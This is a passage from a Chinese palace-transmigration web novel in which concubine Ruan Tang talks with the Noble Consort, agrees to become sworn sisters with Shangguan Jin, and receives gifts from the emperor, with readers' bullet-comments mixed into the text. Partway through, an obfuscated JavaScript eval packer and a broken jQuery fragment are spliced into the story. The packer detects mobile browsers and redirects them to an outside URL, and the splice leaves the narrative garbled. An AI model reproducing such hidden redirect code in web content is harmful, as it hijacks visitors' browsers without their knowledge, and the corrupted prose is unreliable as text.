“罢了,跟你说这些做什么。”
柳如眉走回座位,重新坐下,“本宫今日来,是有一事要问你。”
阮棠连忙正色:“娘娘请说。”
柳如眉看着她,目光难得认真了几分:“那日在栖霞山,你为何要救上官锦?”
阮棠一愣。
这个问题,上官锦问过她,如今贵妃又来问。
“嫔妾……”她挠了挠头,“嫔妾当时没想那么多,就想着不能让那贼人……”
“可你不会水。”柳如眉打断她,“若皇上没能及时赶到,你可知道后果?”
阮棠张了张嘴,一时不知该如何回答。
她知道后果。
淹死呗。
可当时她真的没想那么多。
柳如眉看着她的表情,忽然笑了。
那笑容多了几分说不清道不明的意味。
“你啊,”她站起身,理了理衣袖,“本宫总算明白,皇上为何对你不同了。”
阮棠心头一跳。
对她不同?
哪儿不同?
柳如眉却没再多说,只拍了拍她的手,丢下一句“好生歇着”,便带着倩碧扬长而去。
留下阮棠一人,站在正殿中央,满脑子问号。
【贵妃:这孩子傻得让人心疼】
【贵妃:算了,不跟她计较了】
【贵妃:就当养了只傻兔子吧】
【哈哈哈哈神他妈傻兔子】
【不过贵妃这话什么意思?皇上对棠棠不同?】
【前面的,你看不出来吗?贵妃都看出来了!】
阮棠看着弹幕,心里莫名有些发慌。
不同?
什么不同?
她猛地摇了摇头,将这个荒谬的念头甩出脑外。
萧临渊对她不同,是因为她是上官锦的好姐妹!
对,就是这样!
她深吸一口气,努力让自己平静下来。
窗外,海棠花瓣簌簌落下,有几片顺着微风飘进窗来,落在她的肩头。
阮棠伸手拈起一片,望着那抹残存的粉色,忽然想起那日在栖霞山,萧临渊将她从湖里捞起来后,低头看她的那个眼神……
她再次摇了摇头。
不能想,不能想!
那可是女主的男人!
院门外,秋香的声音忽然响起:“美人!上官小姐来了!”
阮棠精神一振,连忙将那点莫名其妙的心绪抛到九霄云外,快步迎了出去。
果然,还是抱紧金大腿最实在。
阮棠刚走到院门口,便看见上官锦带着丫鬟双儿缓步而来。
她今日穿了一身浅青色的衣裙,发间只簪了一支碧玉簪,看起来还要素净几分,但却遮掩不住她眉宇间的欢畅。
“锦姐姐!”阮棠快步迎上去,拉着她的手往院里走,“你来得正好,快来尝尝雪梨汤,秋月的手艺,可甜了。”
上官锦任由她拉着,唇角弯了弯。
秋香机灵地奉了茶,便拉着小橘退了出去,只留二人在屋内。
“棠棠。”她忽然开口。
阮棠正喝着雪梨汤,闻言抬头:“嗯?”
上官锦看着她,认真道:“那日的事,我一直没有找到机会好好谢你,今日终于央了母亲向太后娘娘求得恩典,希望能与你义结金兰……”
阮棠愣了一下,随即摆摆手:“哎呀,锦姐姐你跟我客气什么?嗯,什么?”
上官锦握住她的手,目光温柔而认真,“棠棠,你我虽相识不久,但自我第一面见你就觉得十分亲切。”
“何况那日你又舍身救我,”她说着眼中露出些许遗憾,“若非你如今已是后妃……或许你我还能成为一家人。”
呵~呵呵,自信一点,请把“或许”两字丢掉。
阮棠被她看得有些不好意思,挠了挠头:“我、我真没想那么多……就是看那人太可恶了,不想让他得逞……”
“我知道。”上官锦轻声道,“正因如此你这份情谊才最可贵,所以……你可愿意?”
阮棠张了张嘴,不知该说什么。
她其实不太习惯这种正经的场合。
在现代的时候,她就是个普通的打工人,每天跟同事插科打诨,最怕的就是煽情时刻。
可此刻,看着上官锦眼中那抹认真的光芒,她忽然觉得,自己那一跳,好像真的挺值的。
【呜呜呜,两个女孩子贴贴,好暖】
【棠棠:我只是想抱紧金大腿,没想到抱出了真情实感】
【锦宝这一世有棠棠这样的姐妹,真的太幸运了】
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289020|198486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
【前面的,棠棠也很幸运啊,锦宝可是拿命护着她的】
阮棠看着弹幕,忍不住咧嘴笑了笑。
可不是嘛,她抱金大腿,金大腿也护着她。
这买卖,不亏。
阮棠不好意思的点点头:“我爹娘只生了我一个,如今能有一个姐姐疼爱,我自是愿意。”
“太好了。”上官锦脸上笑意更深几分,“待我回去回禀了爹娘,上报皇上之后便跟你补上仪式。”
“好!”
两人又说了一会儿话,气氛越发轻松起来。
上官锦端起雪梨汤尝了一口,眼中露出赞许之色:“这汤炖得好,甜而不腻,温度也正好。”
“是吧?”阮棠得意地扬了扬下巴,“秋月的手艺,越来越好了。锦姐姐你要是喜欢,我让她把方子写给你,你回去让府里的厨子做。”
上官锦笑着摇头:“不必了,我若想喝,来你这里便是。”
“那敢情好!”阮棠眼睛一亮,“你常来,我这儿也热闹些。”
两人正说着,秋香忽然从外头探进半个脑袋:“美人,周公公来了。”
阮棠一愣。
周宁海?
他来做什么?
她连忙起身,整了整衣裙,快步迎了出去。
院门口,周宁海正笑眯眯地站着,身后跟着两个小太监,手里各捧着一只锦盒。
“奴才给阮美人请安。”周宁海躬身行礼。
“周公公客气了”阮棠连忙虚扶一下:“。公公今日来,可是有事?”
周宁海笑道:“回美人,奴才奉皇上之命,给美人送些东西来。”
他说着,示意身后的小太监上前。
两只锦盒打开,里头装的东西让阮棠愣了愣。
一盒是上等的燕窝,色泽莹润,一看便是贡品;
另一盒是一匹云锦,月白色的底子上绣着疏落的兰草,针脚细密,栩栩如生。
“这……”阮棠有些茫然,“皇上为何赏我这些东西?”
周宁海笑容更深了几分:“皇上说了,那日栖霞山,美人受了寒,该好好补补。”
“这燕窝是御膳房新进的,最是滋补。”
“至于这云锦,是江南新贡的,皇上说美人……素净,这颜色正合适。”